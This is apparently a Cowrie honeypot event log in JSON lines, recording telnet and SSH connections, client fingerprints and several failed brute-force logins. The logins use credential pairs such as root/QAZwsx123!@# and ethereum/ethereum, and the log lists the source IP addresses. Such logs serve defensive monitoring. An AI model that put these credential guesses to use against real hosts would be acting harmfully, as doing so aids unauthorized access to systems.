{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35786,"dst_ip":"159.203.135.109","dst_port":23,"session":"b13023395725","protocol":"telnet","message":"New connection: 142.93.2.99:35786 (159.203.135.109:23) [session: b13023395725]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:30.686265Z"}
{"eventid":"cowrie.session.closed","duration":32.257832765579224,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:31.715142Z","src_ip":"142.93.2.99","session":"b9ab81f4a803","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.494060039520264,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:32.363377Z","src_ip":"142.93.2.99","session":"50b9dde0a801","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38856,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3da3f2a92ad","protocol":"telnet","message":"New connection: 142.93.2.99:38856 (159.203.135.109:23) [session: f3da3f2a92ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:34.392885Z"}
{"eventid":"cowrie.session.closed","duration":35.138455390930176,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:35.523002Z","src_ip":"142.93.2.99","session":"9cedd2978f93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":46180,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9308ef541f7","protocol":"ssh","message":"New connection: 186.233.118.22:46180 (159.203.135.109:22) [session: c9308ef541f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:40.647280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:40.653947Z","src_ip":"186.233.118.22","session":"c9308ef541f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":44330,"dst_ip":"159.203.135.109","dst_port":23,"session":"aad40ca19000","protocol":"telnet","message":"New connection: 142.93.2.99:44330 (159.203.135.109:23) [session: aad40ca19000]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:40.773196Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:40.824102Z","src_ip":"186.233.118.22","session":"c9308ef541f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QAZwsx123!@#","message":"login attempt [root/QAZwsx123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:41.291299Z","src_ip":"186.233.118.22","session":"c9308ef541f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:42.413238Z","src_ip":"186.233.118.22","session":"c9308ef541f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.42903161048889,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:42.958203Z","src_ip":"142.93.2.99","session":"ab6d1528d77d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.54723358154297,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:48.082710Z","src_ip":"142.93.2.99","session":"4f8d63b416c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":53644,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a888f61d774","protocol":"ssh","message":"New connection: 189.194.140.170:53644 (159.203.135.109:22) [session: 5a888f61d774]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:48.580633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:48.590410Z","src_ip":"189.194.140.170","session":"5a888f61d774","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:48.680842Z","src_ip":"189.194.140.170","session":"5a888f61d774","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123123@","message":"login attempt [root/Abc123123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:49.063643Z","src_ip":"189.194.140.170","session":"5a888f61d774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:50.164822Z","src_ip":"189.194.140.170","session":"5a888f61d774","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.34787106513977,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:50.649806Z","src_ip":"142.93.2.99","session":"4628f6dfcc03","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.9206120967865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:54.033982Z","src_ip":"142.93.2.99","session":"ef9247f4a8fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.56072115898132,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:55.646656Z","src_ip":"142.93.2.99","session":"61ebc6dff1c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.10303735733032,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:16:59.178554Z","src_ip":"142.93.2.99","session":"eb4ef15793e1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.76205539703369,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:00.396742Z","src_ip":"104.245.105.2","session":"cbf1f766f599","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36310,"dst_ip":"159.203.135.109","dst_port":23,"session":"192afd57c522","protocol":"telnet","message":"New connection: 142.93.2.99:36310 (159.203.135.109:23) [session: 192afd57c522]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:02.171111Z"}
{"eventid":"cowrie.session.closed","duration":32.768712520599365,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:03.454858Z","src_ip":"142.93.2.99","session":"b13023395725","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38564,"dst_ip":"159.203.135.109","dst_port":23,"session":"7f7712c21e57","protocol":"telnet","message":"New connection: 142.93.2.99:38564 (159.203.135.109:23) [session: 7f7712c21e57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:05.919924Z"}
{"eventid":"cowrie.session.closed","duration":33.65440034866333,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:08.047137Z","src_ip":"142.93.2.99","session":"f3da3f2a92ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41126,"dst_ip":"159.203.135.109","dst_port":23,"session":"67c2ef7d5861","protocol":"telnet","message":"New connection: 142.93.2.99:41126 (159.203.135.109:23) [session: 67c2ef7d5861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:09.109421Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":50300,"dst_ip":"159.203.135.109","dst_port":22,"session":"00c46998a114","protocol":"ssh","message":"New connection: 2.57.122.238:50300 (159.203.135.109:22) [session: 00c46998a114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:11.427177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:11.431460Z","src_ip":"2.57.122.238","session":"00c46998a114","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:11.532641Z","src_ip":"2.57.122.238","session":"00c46998a114","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:11.836059Z","src_ip":"2.57.122.238","session":"00c46998a114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:12.941038Z","src_ip":"2.57.122.238","session":"00c46998a114","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.747488498687744,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:14.520566Z","src_ip":"142.93.2.99","session":"aad40ca19000","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":47572,"dst_ip":"159.203.135.109","dst_port":23,"session":"6bcfacda65ff","protocol":"telnet","message":"New connection: 142.93.2.99:47572 (159.203.135.109:23) [session: 6bcfacda65ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:15.077836Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50884,"dst_ip":"159.203.135.109","dst_port":23,"session":"00b6907083d8","protocol":"telnet","message":"New connection: 142.93.2.99:50884 (159.203.135.109:23) [session: 00b6907083d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:19.797388Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56980,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f852d2c5d1","protocol":"telnet","message":"New connection: 142.93.2.99:56980 (159.203.135.109:23) [session: 25f852d2c5d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:24.848652Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36516,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdc64470fdef","protocol":"telnet","message":"New connection: 142.93.2.99:36516 (159.203.135.109:23) [session: bdc64470fdef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:32.547392Z"}
{"eventid":"cowrie.session.closed","duration":33.394718647003174,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:35.565734Z","src_ip":"142.93.2.99","session":"192afd57c522","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.23118591308594,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:38.151003Z","src_ip":"142.93.2.99","session":"7f7712c21e57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":42148,"dst_ip":"159.203.135.109","dst_port":22,"session":"1492be07a5a9","protocol":"ssh","message":"New connection: 186.233.118.22:42148 (159.203.135.109:22) [session: 1492be07a5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:41.143203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:41.147786Z","src_ip":"186.233.118.22","session":"1492be07a5a9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":42332,"dst_ip":"159.203.135.109","dst_port":22,"session":"9ad8be075011","protocol":"ssh","message":"New connection: 189.194.140.170:42332 (159.203.135.109:22) [session: 9ad8be075011]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:41.201879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:41.206429Z","src_ip":"189.194.140.170","session":"9ad8be075011","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:41.267411Z","src_ip":"186.233.118.22","session":"1492be07a5a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:41.307589Z","src_ip":"189.194.140.170","session":"9ad8be075011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Nova@2024","message":"login attempt [root/Nova@2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:41.724897Z","src_ip":"189.194.140.170","session":"9ad8be075011","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ali","password":"ali12345","message":"login attempt [ali/ali12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:41.775577Z","src_ip":"186.233.118.22","session":"1492be07a5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.32975125312805,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:42.439053Z","src_ip":"142.93.2.99","session":"67c2ef7d5861","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:42.828037Z","src_ip":"189.194.140.170","session":"9ad8be075011","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:42.897916Z","src_ip":"186.233.118.22","session":"1492be07a5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.39172339439392,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:47.469450Z","src_ip":"142.93.2.99","session":"6bcfacda65ff","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50754,"dst_ip":"159.203.135.109","dst_port":23,"session":"492794555848","protocol":"telnet","message":"New connection: 142.93.2.99:50754 (159.203.135.109:23) [session: 492794555848]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:48.103106Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52844,"dst_ip":"159.203.135.109","dst_port":23,"session":"a40c9405018c","protocol":"telnet","message":"New connection: 142.93.2.99:52844 (159.203.135.109:23) [session: a40c9405018c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:49.095526Z"}
{"eventid":"cowrie.session.closed","duration":32.13694453239441,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:51.934196Z","src_ip":"142.93.2.99","session":"00b6907083d8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.37733054161072,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:57.225795Z","src_ip":"142.93.2.99","session":"25f852d2c5d1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":33586,"dst_ip":"159.203.135.109","dst_port":23,"session":"74956dff817b","protocol":"telnet","message":"New connection: 142.93.2.99:33586 (159.203.135.109:23) [session: 74956dff817b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:17:58.603454Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34928,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba5b9b6b591","protocol":"telnet","message":"New connection: 142.93.2.99:34928 (159.203.135.109:23) [session: 4ba5b9b6b591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:01.033494Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38470,"dst_ip":"159.203.135.109","dst_port":23,"session":"15fdb1f6cc91","protocol":"telnet","message":"New connection: 142.93.2.99:38470 (159.203.135.109:23) [session: 15fdb1f6cc91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:18:04.420637Z"}
